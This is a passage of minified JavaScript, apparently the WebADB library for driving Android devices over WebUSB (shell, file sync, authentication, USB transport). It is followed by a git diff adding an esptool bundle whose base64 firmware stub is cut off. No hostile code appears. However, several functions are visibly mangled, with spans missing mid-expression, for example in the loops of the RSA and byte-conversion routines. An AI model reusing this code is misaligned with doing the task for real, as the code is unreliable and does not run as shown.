message"))},o=>{n.error(o),i.error(o),s.reject(o)}),t&&t.addEventListener("abort",()=>{s.reject(t.reason),this.#e.close()}),this.#t=this.#e.writable.getWriter(),this.#r=new I.WritableStream({write:async o=>{await this.#t.write($.serialize({id:L.Stdin,data:o}))},close:()=>this.#t.write($.serialize({id:L.CloseStdin,data:w}))})}kill(){return this.#e.close()}};var He=class{#e;#t;#r;get input(){return this.#r}#n;get output(){return this.#n}#i=new u;get exited(){return this.#i.promise}constructor(e){this.#e=e;let t;this.#n=new k(n=>{t=n}),e.readable.pipeThrough(new ie($)).pipeTo(new m({write:async n=>{switch(n.id){case L.Exit:this.#i.resolve(n.data[0]);break;case L.Stdout:await t.enqueue(n.data);break}}})).then(()=>{t.close(),this.#i.reject(new Error("Socket ended without exit message"))},n=>{t.error(n),this.#i.reject(n)}),this.#t=this.#e.writable.getWriter(),this.#r=new I.WritableStream({write:n=>this.#s(n)})}#s(e){return this.#t.write($.serialize({id:L.Stdin,data:e}))}async resize(e,t){await this.#t.write($.serialize({id:L.WindowSizeChange,data:C(`${e}x${t},0x0\0`)}))}sigint(){return this.#s(new Uint8Array([3]))}kill(){return this.#e.close()}};var Ye=class{#e;constructor(e){this.#e=e}spawn(e,t){return t==null||t.throwIfAborted(),typeof e=="string"&&(e=Fe(e)),this.#e(e,t)}async spawnWait(e){let t=await this.spawn(e),[n,i,s]=await Promise.all([t.stdout.pipeThrough(new X),t.stderr.pipeThrough(new X),t.exited]);return{stdout:n,stderr:i,exitCode:s}}async spawnWaitText(e){let t=await this.spawn(e),[n,i,s]=await Promise.all([t.stdout.pipeThrough(new Q).pipeThrough(new _),t.stderr.pipeThrough(new Q).pipeThrough(new _),t.exited]);return{stdout:n,stderr:i,exitCode:s}}};var Ze=class extends Ye{#e;get adb(){return this.#e}get isSupported(){return this.#e.canUseFeature(x.ShellV2)}constructor(e){super(async(t,n)=>{let i=await this.#e.createSocket(`shell,v2,raw:${t.join(" ")}`);if(n!=null&&n.aborted)throw await i.close(),n.reason;return new Ge(i,n)}),this.#e=e}async pty(e){let t="shell,v2,pty";return e!=null&&e.terminalType&&(t+=",TERM="+e.terminalType),t+=":",e&&(typeof e.command=="string"?t+=e.command:Array.isArray(e.command)&&(t+=e.command.join(" "))),new He(await this.#e.createSocket(t))}};var Xe=class{#e;get adb(){return this.#e}#t;get noneProtocol(){return this.#t}#r;get shellProtocol(){return this.#r}constructor(e){this.#e=e,this.#t=new Ke(e),e.canUseFeature(x.ShellV2)&&(this.#r=new Ze(e))}};function rn(r){let e=new Uint8Array(r.length);for(let t=0;t>12},get permission(){return this.mode&4095}},postDeserialize(r){if(r.mode===0&&r.size===0&&r.mtime===0)throw new Error("lstat error");return r}}),Rt={SUCCESS:0,EACCES:13,EEXIST:17,EFAULT:14,EFBIG:27,EINTR:4,EINVAL:22,EIO:5,EISDIR:21,ELOOP:40,EMFILE:24,ENAMETOOLONG:36,ENFILE:23,ENOENT:2,ENOMEM:12,ENOSPC:28,ENOTDIR:20,EOVERFLOW:75,EPERM:1,EROFS:30,ETXTBSY:26},nn=Object.fromEntries(Object.entries(Rt).map(([r,e])=>[e,r])),Qe=f({error:d(),dev:Z,ino:Z,mode:d,nlink:d,uid:d,gid:d,size:Z,atime:Z,mtime:Z,ctime:Z},{littleEndian:!0,extra:{get type(){return this.mode>>12},get permission(){return this.mode&4095}},postDeserialize(r){if(r.error)throw new Error(nn[r.error]);return r}});async function mr(r,e,t){let n=await r.lock();try{if(t)return await N(n,R.LstatV2,e),await oe(n,A.Lstat2,Qe);{await N(n,R.Lstat,e);let i=await oe(n,A.Lstat,Ct);return{mode:i.mode,size:BigInt(i.size),mtime:BigInt(i.mtime),get type(){return i.type},get permission(){return i.permission}}}}finally{n.release()}}async function wr(r,e){let t=await r.lock();try{return await N(t,R.Stat,e),await oe(t,A.Stat,Qe)}finally{t.release()}}var sn=Y(Ct,{name:V(d)}),on=Y(Qe,{name:V(d)});async function*an(r,e){let t=await r.lock();try{await N(t,R.ListV2,e);for await(let n of ae(t,A.Entry2,on))n.error===Rt.SUCCESS&&(yield n)}finally{t.release()}}async function*cn(r,e){let t=await r.lock();try{await N(t,R.List,e);for await(let n of ae(t,A.Entry,sn))yield n}finally{t.release()}}async function*fr(r,e,t){if(t)yield*an(r,e);else for await(let n of cn(r,e))yield{mode:n.mode,size:BigInt(n.size),mtime:BigInt(n.mtime),get type(){return n.type},get permission(){return n.permission},name:n.name}}var yr=f({data:P(d)},{littleEndian:!0});async function*ln(r,e){let t=await r.lock(),n=!1;try{await N(t,R.Receive,e);for await(let i of ae(t,A.Data,yr))yield i.data;n=!0}catch(i){throw n=!0,i}finally{if(!n)for await(let i of ae(t,A.Data,yr));t.release()}}function xr(r,e){return E.from(ln(r,e))}var Sr=64*1024,dn=f({unused:d},{littleEndian:!0});async function gr(r,e,t,n){let i=new j;e.pipeThrough(new Pe(t,!0)).pipeTo(new I.WritableStream({write(s){return N(r,R.Data,s)}}),{signal:i.signal}).then(async()=>{await N(r,R.Done,n),await r.flush()},lr),await oe(r,A.Ok,dn).catch(s=>{throw i.abort(),s})}async function hn({socket:r,filename:e,file:t,type:n=vt.File,permission:i=438,mtime:s=Date.now()/1e3|0,packetSize:o=Sr}){let a=await r.lock();try{let c=n<<12|i,l=`${e},${c.toString()}`;await N(a,R.Send,l),await gr(a,t,o,s)}finally{a.release()}}var br={None:0,Brotli:1,Lz4:2,Zstd:4,DryRun:2147483648},un=f({id:d,mode:d,flags:d()},{littleEndian:!0});async function pn({socket:r,filename:e,file:t,type:n=vt.File,permission:i=438,mtime:s=Date.now()/1e3|0,packetSize:o=Sr,dryRun:a=!1}){let c=await r.lock();try{await N(c,R.SendV2,e);let l=n<<12|i,h=br.None;a&&(h|=br.DryRun),await c.write(un.serialize({id:R.SendV2,mode:l,flags:h})),await gr(c,t,o,s)}finally{c.release()}}function Er(r){if(r.v2)return pn(r);if(r.dryRun)throw new Error("dryRun is not supported in v1");return hn(r)}var Nt=class{#e;#t;#r;#n=new me;#i;get position(){return this.#t.position}constructor(e,t,n,i){this.#e=e,this.#t=t,this.#r=i,this.#i=new pe(n)}#s(e){return y.WritableStream.write(this.#e,e)}async flush(){try{await this.#n.wait();let e=this.#i.flush();e&&await this.#s(e)}finally{this.#n.notifyOne()}}async write(e){try{await this.#n.wait();for(let t of this.#i.push(e))await this.#s(t)}finally{this.#n.notifyOne()}}async readExactly(e){return await this.flush(),await this.#t.readExactly(e)}release(){this.#i.flush(),this.#r.notifyOne()}async close(){await this.#t.cancel()}},Je=class{#e=new me;#t;#r;constructor(e,t){this.#t=e,this.#r=new Nt(e.writable.getWriter(),new z(e.readable),t,this.#e)}async lock(){return await this.#e.wait(),this.#r}async close(){await this.#r.close(),await this.#t.close()}};function mn(r){let e=r.lastIndexOf("/");if(e===-1)throw new Error("Invalid path");return e===0?"/":r.substring(0,e)}var et=class{_adb;_socket;#e;#t;#r;#n;#i;get supportsStat(){return this.#e}get supportsListV2(){return this.#t}get fixedPushMkdir(){return this.#r}get supportsSendReceiveV2(){return this.#n}get needPushMkdirWorkaround(){return this.#i}constructor(e,t){this._adb=e,this._socket=new Je(t,e.maxPayloadSize),this.#e=e.canUseFeature(x.StatV2),this.#t=e.canUseFeature(x.ListV2),this.#r=e.canUseFeature(x.FixedPushMkdir),this.#n=e.canUseFeature(x.SendReceiveV2),this.#i=this._adb.canUseFeature(x.ShellV2)&&!this.fixedPushMkdir}async lstat(e){return await mr(this._socket,e,this.#e)}async stat(e){if(!this.#e)throw new Error("Not supported");return await wr(this._socket,e)}async isDirectory(e){try{return await this.lstat(e+"/"),!0}catch{return!1}}opendir(e){return fr(this._socket,e,this.supportsListV2)}async readdir(e){let t=[];for await(let n of this.opendir(e))t.push(n);return t}read(e){return xr(this._socket,e)}async write(e){this.needPushMkdirWorkaround&&await this._adb.subprocess.noneProtocol.spawnWait(["mkdir","-p",we(mn(e.filename))]),await Er({v2:this.supportsSendReceiveV2,socket:this._socket,...e})}lockSocket(){return this._socket.lock()}dispose(){return this._socket.close()}};function Ir(r){if(!(!r||r==="0"))return Number.parseInt(r,10)}var tt=class extends F{async getListenAddresses(){let e=await this.adb.getProp("service.adb.listen_addrs"),t=await this.adb.getProp("service.adb.tcp.port"),n=await this.adb.getProp("persist.adb.tcp.port");return{serviceListenAddresses:e!=""?e.split(","):[],servicePort:Ir(t),persistPort:Ir(n)}}async setPort(e){if(e<=0)throw new TypeError(`Invalid port ${e}`);let t=await this.adb.createSocketAndWait(`tcpip:${e}`);if(t!==`restarting in TCP mode port: ${e} +`)throw new Error(t);return t}async disable(){let e=await this.adb.createSocketAndWait("usb:");if(e!==`restarting in USB mode +`)throw new Error(e);return e}};var rt=class{#e;get transport(){return this.#e}get serial(){return this.#e.serial}get maxPayloadSize(){return this.#e.maxPayloadSize}get banner(){return this.#e.banner}get disconnected(){return this.#e.disconnected}get clientFeatures(){return this.#e.clientFeatures}get deviceFeatures(){return this.banner.features}subprocess;power;reverse;tcpip;constructor(e){this.#e=e,this.subprocess=new Xe(this),this.power=new _e(this),this.reverse=new Oe(this),this.tcpip=new tt(this)}canUseFeature(e){return this.clientFeatures.includes(e)&&this.deviceFeatures.includes(e)}async createSocket(e){return this.#e.connect(e)}async createSocketAndWait(e){return await(await this.createSocket(e)).readable.pipeThrough(new Q).pipeThrough(new _)}getProp(e){return this.subprocess.noneProtocol.spawnWaitText(["getprop",e]).then(t=>t.trim())}rm(e,t){let n=["rm"];if(t!=null&&t.recursive&&n.push("-r"),t!=null&&t.force&&n.push("-f"),Array.isArray(e))for(let i of e)n.push(we(i));else n.push(we(e));return n.push("1){let a=o[1];for(let c of a.split(";")){if(!c)continue;let l=c.split("=");if(l.length!==2)continue;let[h,T]=l;switch(h){case nt.Product:t=T;break;case nt.Model:n=T;break;case nt.Device:i=T;break;case nt.Features:s=T.split(",");break}}}return new r(t,n,i,s)}#e;get product(){return this.#e}#t;get model(){return this.#t}#r;get device(){return this.#r}#n=[];get features(){return this.#n}constructor(e,t,n,i){this.#e=e,this.#t=t,this.#r=n,this.#n=i}};function kt(r,e,t){let n=0n;for(let i=e;i0n;)Vt(r,e,n),e+=8,n>>=64n;else{let s=e+t-8;for(;n>0n;)jt(r,s,n),s-=8,n>>=64n}}var wn=38,fn=2048/8,yn=303,xn=2048/8;function Rr(r){let e=kt(r,wn,fn),t=kt(r,yn,xn);return[e,t]}function Ar(r,e){let t=r%e;return t>0?t:t+(e>0?e:-e)}function bn(r,e){if(r=Ar(r,e),!r||e<2)return NaN;let t=[],n=e;for(;n;)[r,n]=[n,r%n],t.push({a:r,b:n});if(r!==1)return NaN;let i=1,s=0;for(let o=t.length-2;o>=0;o-=1)[i,s]=[s,i-s*Math.floor(t[o].a/t[o].b)];return Ar(s,e)}var ee=2048/8,Sn=ee/4;function Pt(){return 8+ee+ee+4}function Nr(r,e){let t,n=Pt();if(!e)e=new Uint8Array(n),t="Uint8Array";else{if(e.length0n;)BigInt.asUintN(1,e)===1n&&(n=n*r%t),r=r*r%t,e>>=1n;return n}var vr=20,Cr=48,En=4,In=5,An=6,Tt=new Uint8Array([Cr,13+vr,Cr,9,An,5,1*40+3,14,3,2,26,In,0,En,vr]);function Tr(r,e){let[t,n]=Rr(r),i=new Uint8Array(256),s=0;i[s]=0,s+=1,i[s]=1,s+=1;let o=i.length-Tt.length-e.length-1;for(;se+t,0)}var st=class extends Ae{constructor(){let e=new Uint8Array(fe.size);super({transform:async(t,n)=>{await t.tryConsume(async i=>{let s=i;s.payloadLength=s.payload.length,fe.serialize(s,e),await y.ReadableStream.enqueue(n,e),s.payloadLength&&await y.ReadableStream.enqueue(n,s.payload)})}})}};var at={Token:1,Signature:2,PublicKey:3},vn=async function*(r,e){for await(let t of r.iterateKeys()){let n=await e();if(n.arg0!==at.Token)return;let i=Tr(t.buffer,n.payload);yield{command:S.Auth,arg0:at.Signature,arg1:0,payload:i}}},Cn=async function*(r,e){var c;if((await e()).arg0!==at.Token)return;let n;for await(let l of r.iterateKeys()){n=l;break}n||(n=await r.generateKey());let i=Pt(),[s]=Et(i),o=(c=n.name)!=null&&c.length?C(n.name):w,a=new Uint8Array(s+(o.length?o.length+1:0)+1);Nr(n.buffer,a),ar(a.subarray(0,i),a),o.length&&(a[s]=32,a.set(o,s+1)),yield{command:S.Auth,arg0:at.PublicKey,arg1:0,payload:a}},kr=[vn,Cn],ct=class{authenticators;#e;#t=new u;#r;constructor(e,t){this.authenticators=e,this.#e=t}#n=()=>this.#t.promise;async*#i(){for(let e of this.authenticators)for await(let t of e(this.#e,this.#n))this.#t=new u,yield t}async process(e){this.#r||(this.#r=this.#i()),this.#t.resolve(e);let t=await this.#r.next();if(t.done)throw new Error("No authenticator can handle the request");return t.value}dispose(){var e,t;(t=(e=this.#r)==null?void 0:e.return)==null||t.call(e)}};var ye=class{#e;localId;remoteId;localCreated;service;#t;#r;get readable(){return this.#t}#n;writable;#i=!1;#s=new u;get closed(){return this.#s.promise}#c;get socket(){return this.#c}#a;#o=0;constructor(e){this.#e=e.dispatcher,this.localId=e.localId,this.remoteId=e.remoteId,this.localCreated=e.localCreated,this.service=e.service,this.#t=new k(t=>{this.#r=t}),this.writable=new I.WritableStream({start:t=>{this.#n=t,t.signal.addEventListener("abort",()=>{var n;(n=this.#a)==null||n.reject(t.signal.reason)})},write:async t=>{let n=t.length,i=this.#e.options.maxPayloadSize;for(let s=0,o=i;s{switch(n.command){case S.Close:await this.#a(n);break;case S.Okay:this.#o(n);break;case S.Open:await this.#h(n);break;case S.Write:this.#u(n).catch(s=>{i.error(s)});break;default:throw new Error(`Unknown command: ${n.command.toString(16)}`)}}}),{preventCancel:t.preserveConnection??!1,signal:this.#c.signal}).then(()=>{this.#d()},n=>{this.#n||this.#i.reject(n),this.#d()}),this.#r=e.writable.getWriter()}async#a(e){if(e.arg0===0&&this.#e.reject(e.arg1,new Error("Socket open failed")))return;let t=this.#t.get(e.arg1);if(t){await t.close(),t.dispose(),this.#t.delete(e.arg1);return}}#o(e){let t;if(this.options.initialDelayedAckBytes!==0){if(e.payload.length!==4)throw new Error("Invalid OKAY packet. Payload size should be 4");t=re(e.payload,0)}else{if(e.payload.length!==0)throw new Error("Invalid OKAY packet. Payload size should be 0");t=1/0}if(this.#e.resolve(e.arg1,{remoteId:e.arg0,availableWriteBytes:t}))return;let n=this.#t.get(e.arg1);if(n){n.ack(t);return}this.sendPacket(S.Close,e.arg1,e.arg0,w)}#l(e,t,n){let i;return this.options.initialDelayedAckBytes!==0?(i=new Uint8Array(4),$t(i,0,n)):i=w,this.sendPacket(S.Okay,e,t,i)}async#h(e){let[t]=this.#e.add();this.#e.resolve(t,void 0);let n=e.arg0,i=e.arg1,s=D(e.payload);if(s.endsWith("\0")&&(s=s.substring(0,s.length-1)),this.options.initialDelayedAckBytes===0){if(i!==0)throw new Error("Invalid OPEN packet. arg1 should be 0");i=1/0}else if(i===0)throw new Error("Invalid OPEN packet. arg1 should be greater than 0");let o=this.#s.get(s);if(!o){await this.sendPacket(S.Close,0,n,w);return}let a=new ye({dispatcher:this,localId:t,remoteId:n,localCreated:!1,service:s,availableWriteBytes:i});try{await o(a.socket),this.#t.set(t,a),await this.#l(t,n,this.options.initialDelayedAckBytes)}catch{await this.sendPacket(S.Close,0,n,w)}}async#u(e){let t=this.#t.get(e.arg1);if(!t)throw new Error(`Unknown local socket id: ${e.arg1}`);let n=!1,i=[(async()=>{await t.enqueue(e.payload),await this.#l(e.arg1,e.arg0,e.payload.length),n=!0})()];this.options.readTimeLimit&&i.push((async()=>{if(await Wt(this.options.readTimeLimit),!n)throw new Error(`readable of \`${t.service}\` has stalled for ${this.options.readTimeLimit} milliseconds`)})()),await Promise.race(i)}async createSocket(e){this.options.appendNullToServiceString&&(e+="\0");let[t,n]=this.#e.add();await this.sendPacket(S.Open,t,this.options.initialDelayedAckBytes,e);let{remoteId:i,availableWriteBytes:s}=await n,o=new ye({dispatcher:this,localId:t,remoteId:i,localCreated:!0,service:e,availableWriteBytes:s});return this.#t.set(t,o),o.socket}addReverseTunnel(e,t){this.#s.set(e,t)}removeReverseTunnel(e){this.#s.delete(e)}clearReverseTunnels(){this.#s.clear()}async sendPacket(e,t,n,i){if(typeof i=="string"&&(i=C(i)),i.length>this.options.maxPayloadSize)throw new TypeError("payload too large");await y.WritableStream.write(this.#r,{command:e,arg0:t,arg1:n,payload:i,checksum:this.options.calculateChecksum?ot(i):0,magic:e^4294967295})}async close(){await Promise.all(Array.from(this.#t.values(),e=>e.close())),this.#n=!0,this.#c.abort(),this.options.preserveConnection?this.#r.releaseLock():await this.#r.close()}#d(){for(let e of this.#t.values())e.dispose();this.#i.resolve()}};var Rn=16777217,Br=[x.ShellV2,x.Cmd,x.StatV2,x.ListV2,x.FixedPushMkdir,"apex",x.Abb,"fixed_push_symlink_timestamp",x.AbbExec,"remount_shell","track_app",x.SendReceiveV2,"sendrecv_v2_brotli","sendrecv_v2_lz4","sendrecv_v2_zstd","sendrecv_v2_dry_run_send",x.DelayedAck],Nn=32*1024*1024,dt=class r{static async authenticate({serial:e,connection:t,credentialStore:n,authenticators:i=kr,features:s=Br,initialDelayedAckBytes:o=Nn,...a}){let c=16777217,l=1024*1024,h=new u,T=new ct(i,n),B=new j,M=t.readable.pipeTo(new m({async write(p){switch(p.command){case S.Connect:c=Math.min(c,p.arg0),l=Math.min(l,p.arg1),h.resolve(D(p.payload));break;case S.Auth:{let v=await T.process(p);await O(v);break}default:break}}}),{preventCancel:!0,signal:B.signal}).then(()=>{h.reject(new Error("Connection closed unexpectedly"))},p=>{h.reject(p)}),U=t.writable.getWriter();async function O(p){p.checksum=ot(p.payload),p.magic=p.command^4294967295,await y.WritableStream.write(U,p)}let K=s.slice();if(o<=0){let p=s.indexOf(x.DelayedAck);p!==-1&&K.splice(p,1)}let le;try{await O({command:S.Connect,arg0:c,arg1:l,payload:C(`host::features=${K.join(",")}`)}),le=await h.promise}finally{B.abort(),U.releaseLock(),await M}return new r({serial:e,connection:t,version:c,maxPayloadSize:l,banner:le,features:K,initialDelayedAckBytes:o,...a})}#e;get connection(){return this.#e}#t;#r;get serial(){return this.#r}#n;get protocolVersion(){return this.#n}get maxPayloadSize(){return this.#t.options.maxPayloadSize}#i;get banner(){return this.#i}get disconnected(){return this.#t.disconnected}#s;get clientFeatures(){return this.#s}constructor({serial:e,connection:t,version:n,banner:i,features:s=Br,initialDelayedAckBytes:o,...a}){if(this.#r=e,this.#e=t,this.#i=it.parse(i),this.#s=s,s.includes(x.DelayedAck)){if(o<=0)throw new TypeError("`initialDelayedAckBytes` must be greater than 0 when DelayedAck feature is enabled.");this.#i.features.includes(x.DelayedAck)||(o=0)}else o=0;let c,l;n>=Rn?(c=!1,l=!1):(c=!0,l=!0),this.#t=new lt(t,{calculateChecksum:c,appendNullToServiceString:l,initialDelayedAckBytes:o,...a}),this.#n=n}connect(e){return this.#t.createSocket(e)}addReverseTunnel(e,t){return t||(t=`localabstract:reverse_${Math.random().toString().substring(2)}`),this.#t.addReverseTunnel(t,e),t}removeReverseTunnel(e){this.#t.removeReverseTunnel(e)}clearReverseTunnels(){this.#t.clearReverseTunnels()}close(){return this.#t.close()}};function Pr(r,e){e<0||e>=r.length||(r[e]=r[r.length-1],r.length-=1)}var ht=class extends Error{constructor(e){super("The device is already in used by another program",{cause:e})}};function xe(r,e){return typeof r=="object"&&r!==null&&"name"in r&&r.name===e}function Tn(r){return r.classCode!==void 0&&r.subclassCode!==void 0&&r.protocolCode!==void 0}function kn(r,e){return r.interfaceClass===e.classCode&&r.interfaceSubclass===e.subclassCode&&r.interfaceProtocol===e.protocolCode}function Bn(r,e){for(let t of r.configurations)for(let n of t.interfaces)for(let i of n.alternates)if(kn(i,e))return{configuration:t,interface_:n,alternate:i}}function Lr(r){return r.toString(16).padStart(4,"0")}function Ut(r){return r.serialNumber?r.serialNumber:Lr(r.vendorId)+"x"+Lr(r.productId)}function Ur(r){if(r.length===0)throw new TypeError("No endpoints given");let e,t;for(let n of r)switch(n.direction){case"in":if(e=n,t)return{inEndpoint:e,outEndpoint:t};break;case"out":if(t=n,e)return{inEndpoint:e,outEndpoint:t};break}throw e?t?new Error("unreachable"):new TypeError("No output endpoint found."):new TypeError("No input endpoint found.")}function Pn(r,e){return e.vendorId!==void 0&&r.vendorId!==e.vendorId||e.productId!==void 0&&r.productId!==e.productId||e.serialNumber!==void 0&&Ut(r)!==e.serialNumber?!1:Tn(e)?Bn(r,e)||!1:!0}function ce(r,e,t){if(t&&t.length>0&&ce(r,t))return!1;for(let n of e){let i=Pn(r,n);if(i)return i}return!1}var ut={classCode:255,subclassCode:66,protocolCode:1};function be(r){return!r||r.length===0?[ut]:r.map(e=>({...e,classCode:e.classCode??ut.classCode,subclassCode:e.subclassCode??ut.subclassCode,protocolCode:e.protocolCode??ut.protocolCode}))}var Dt=class{#e;get device(){return this.#e}#t;get inEndpoint(){return this.#t}#r;get outEndpoint(){return this.#r}#n;get readable(){return this.#n}#i;get writable(){return this.#i}constructor(e,t,n,i){this.#e=e,this.#t=t,this.#r=n;let s=!1,o=new Ue({close:async()=>{try{s=!0,await e.raw.close()}catch{}},dispose:()=>{s=!0,i.removeEventListener("disconnect",a)}});function a(l){l.device===e.raw&&o.dispose().catch(qe)}i.addEventListener("disconnect",a),this.#n=o.wrapReadable(new E({pull:async l=>{let h=await this.#s();h?l.enqueue(h):l.close()}},{highWaterMark:0}));let c=n.packetSize-1;this.#i=nr(o.createWritable(new I.WritableStream({write:async l=>{try{await e.raw.transferOut(n.endpointNumber,or(l)),c&&!(l.length&c)&&await e.raw.transferOut(n.endpointNumber,w)}catch(h){if(s)return;throw h}}})),new st)}async#s(){try{for(;;){let e=await this.#e.raw.transferIn(this.#t.endpointNumber,this.#t.packetSize);if(e.data.byteLength!==24)continue;let t=new Uint8Array(e.data.buffer),n=new ge(t),i=fe.deserialize(n);if(i.magic===(i.command^4294967295)){if(i.payloadLength!==0){let s=await this.#e.raw.transferIn(this.#t.endpointNumber,i.payloadLength);i.payload=new Uint8Array(s.data.buffer)}else i.payload=w;return i}}}catch(e){if(xe(e,"NetworkError")&&(await new Promise(t=>{setTimeout(()=>{t()},100)}),closed))return;throw e}}},q=class r{static DeviceBusyError=ht;#e;#t;#r;get raw(){return this.#r}#n;get serial(){return this.#n}get name(){return this.#r.productName}constructor(e,t,n){this.#r=e,this.#n=Ut(e),this.#e=t,this.#t=n}async#i(){var i;this.#r.opened||await this.#r.open();let{configuration:e,interface_:t,alternate:n}=this.#e;if(((i=this.#r.configuration)==null?void 0:i.configurationValue)!==e.configurationValue&&await this.#r.selectConfiguration(e.configurationValue),!t.claimed)try{await this.#r.claimInterface(t.interfaceNumber)}catch(s){throw xe(s,"NetworkError")?new r.DeviceBusyError(s):s}return t.alternate.alternateSetting!==n.alternateSetting&&await this.#r.selectAlternateInterface(t.interfaceNumber,n.alternateSetting),Ur(n.endpoints)}async connect(){let{inEndpoint:e,outEndpoint:t}=await this.#i();return new Dt(this,e,t,this.#t)}};var pt=class r{static async create(e,t={}){let n=await e.getDevices();return new r(e,n,t)}#e;#t;#r;#n=new J;onDeviceAdd=this.#n.event;#i=new J;onDeviceRemove=this.#i.event;#s=new ze;onListChange=this.#s.event;current=[];constructor(e,t,n={}){this.#e=be(n.filters),this.#t=n.exclusionFilters,this.#r=e,this.current=t.map(i=>this.#c(i)).filter(i=>!!i),this.#s.fire(this.current),this.#r.addEventListener("connect",this.#a),this.#r.addEventListener("disconnect",this.#o)}#c(e){let t=ce(e,this.#e,this.#t);if(t)return new q(e,t,this.#r)}#a=e=>{let t=this.#c(e.device);if(!t||this.current.some(i=>i.raw===t.raw))return;let n=this.current.slice();n.push(t),this.current=n,this.#n.fire([t]),this.#s.fire(this.current)};#o=e=>{let t=this.current.findIndex(n=>n.raw===e.device);if(t!==-1){let n=this.current[t],i=this.current.slice();Pr(i,t),this.current=i,this.#i.fire([n]),this.#s.fire(this.current)}};stop(){this.#r.removeEventListener("connect",this.#a),this.#r.removeEventListener("disconnect",this.#o),this.#n.dispose(),this.#i.dispose(),this.#s.dispose()}};var mt=class r{static BROWSER=typeof globalThis.navigator<"u"&&globalThis.navigator.usb?new r(globalThis.navigator.usb):void 0;#e;constructor(e){this.#e=e}async requestDevice(e={}){let t=be(e.filters);try{let n=await this.#e.requestDevice({filters:t,exclusionFilters:e.exclusionFilters}),i=ce(n,t,e.exclusionFilters);return i?(this.#e.dispatchEvent(new USBConnectionEvent("connect",{device:n})),new q(n,i,this.#e)):void 0}catch(n){if(xe(n,"NotFoundError"))return;throw n}}async getDevices(e={}){let t=be(e.filters),n=await this.#e.getDevices(),i=[];for(let s of n){let o=ce(s,t,e.exclusionFilters);o&&i.push(new q(s,o,this.#e))}return i}trackDevices(e={}){return pt.create(this.#e,e)}};return qr(Ln);})(); diff --git a/web/static/js/lib/esptool-bundle.js b/web/static/js/lib/esptool-bundle.js new file mode 100644 index 0000000..d6f0472 --- /dev/null +++ b/web/static/js/lib/esptool-bundle.js @@ -0,0 +1,13 @@ +var EspTool=(()=>{var is=Object.create;var VA=Object.defineProperty;var ss=Object.getOwnPropertyDescriptor;var as=Object.getOwnPropertyNames;var ns=Object.getPrototypeOf,Es=Object.prototype.hasOwnProperty;var G=(t,e)=>()=>(t&&(e=t(t=0)),e);var m=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),K=(t,e)=>{for(var A in e)VA(t,A,{get:e[A],enumerable:!0})},Ae=(t,e,A,i)=>{if(e&&typeof e=="object"||typeof e=="function")for(let s of as(e))!Es.call(t,s)&&s!==A&&VA(t,s,{get:()=>e[s],enumerable:!(i=ss(e,s))||i.enumerable});return t};var L=(t,e,A)=>(A=t!=null?is(ns(t)):{},Ae(e||!t||!t.__esModule?VA(A,"default",{value:t,enumerable:!0}):A,t)),rs=t=>Ae(VA({},"__esModule",{value:!0}),t);var Mi=m((wE,Ri)=>{Ri.exports=function(e){return atob(e)}});var xi=m((_E,Jn)=>{Jn.exports={entry:1074521580,text:"CAD0PxwA9D8AAPQ/AMD8PxAA9D82QQAh+v/AIAA4AkH5/8AgACgEICB0nOIGBQAAAEH1/4H2/8AgAKgEiAigoHTgCAALImYC54b0/yHx/8AgADkCHfAAAKDr/T8Ya/0/hIAAAEBAAABYq/0/pOv9PzZBALH5/yCgdBARIOXOAJYaBoH2/5KhAZCZEZqYwCAAuAmR8/+goHSaiMAgAJIYAJCQ9BvJwMD0wCAAwlgAmpvAIACiSQDAIACSGACB6v+QkPSAgPSHmUeB5f+SoQGQmRGamMAgAMgJoeX/seP/h5wXxgEAfOiHGt7GCADAIACJCsAgALkJRgIAwCAAuQrAIACJCZHX/5qIDAnAIACSWAAd8AAA+CD0P/gw9D82QQCR/f/AIACICYCAJFZI/5H6/8AgAIgJgIAkVkj/HfAAAAAQIPQ/ACD0PwAAAAg2QQAQESCl/P8h+v8MCMAgAIJiAJH6/4H4/8AgAJJoAMAgAJgIVnn/wCAAiAJ88oAiMCAgBB3wAAAAAEA2QQAQESDl+/8Wav+B7P+R+//AIACSaADAIACYCFZ5/x3wAAAMQP0/////AAQg9D82QQAh/P84QhaDBhARIGX4/xb6BQz4DAQ3qA2YIoCZEIKgAZBIg0BAdBARICX6/xARICXz/4giDBtAmBGQqwHMFICrAbHt/7CZELHs/8AgAJJrAJHO/8AgAKJpAMAgAKgJVnr/HAkMGkCag5AzwJqIOUKJIh3wAAAskgBANkEAoqDAgf3/4AgAHfAAADZBAIKgwK0Ch5IRoqDbgff/4AgAoqDcRgQAAAAAgqDbh5IIgfL/4AgAoqDdgfD/4AgAHfA2QQA6MsYCAACiAgAbIhARIKX7/zeS8R3wAAAAfNoFQNguBkCc2gVAHNsFQDYhIaLREIH6/+AIAEYLAAAADBRARBFAQ2PNBL0BrQKB9f/gCACgoHT8Ws0EELEgotEQgfH/4AgASiJAM8BWA/0iogsQIrAgoiCy0RCB7P/gCACtAhwLEBEgpff/LQOGAAAioGMd8AAA/GcAQNCSAEAIaABANkEhYqEHwGYRGmZZBiwKYtEQDAVSZhqB9//gCAAMGECIEUe4AkZFAK0GgdT/4AgAhjQAAJKkHVBzwOCZERqZQHdjiQnNB70BIKIggc3/4AgAkqQd4JkRGpmgoHSICYyqDAiCZhZ9CIYWAAAAkqQd4JkREJmAgmkAEBEgJer/vQetARARIKXt/xARICXp/80HELEgYKYggbv/4AgAkqQd4JkRGpmICXAigHBVgDe1sJKhB8CZERqZmAmAdcCXtwJG3P+G5v8MCIJGbKKkGxCqoIHK/+AIAFYK/7KiC6IGbBC7sBARIOWWAPfqEvZHD7KiDRC7sHq7oksAG3eG8f9867eawWZHCIImGje4Aoe1nCKiCxAisGC2IK0CgZv/4AgAEBEgpd//rQIcCxARICXj/xARIKXe/ywKgbH/4AgAHfAIIPQ/cOL6P0gkBkDwIgZANmEAEBEg5cr/EKEggfv/4AgAPQoMEvwqiAGSogCQiBCJARARIKXP/5Hy/6CiAcAgAIIpAKCIIMAgAIJpALIhAKHt/4Hu/+AIAKAjgx3wAAD/DwAANkEAgTv/DBmSSAAwnEGZKJH7/zkYKTgwMLSaIiozMDxBDAIpWDlIEBEgJfj/LQqMGiKgxR3wAABQLQZANkEAQSz/WDRQM2MWYwRYFFpTUFxBRgEAEBEgZcr/iESmGASIJIel7xARIKXC/xZq/6gUzQO9AoHx/+AIAKCgdIxKUqDEUmQFWBQ6VVkUWDQwVcBZNB3wAADA/D9PSEFJqOv9P3DgC0AU4AtADAD0PzhA9D///wAAjIAAABBAAACs6/0/vOv9P2CQ9D//j///ZJD0P2iQ9D9ckPQ/BMD8PwjA/D8E7P0/FAD0P/D//wCo6/0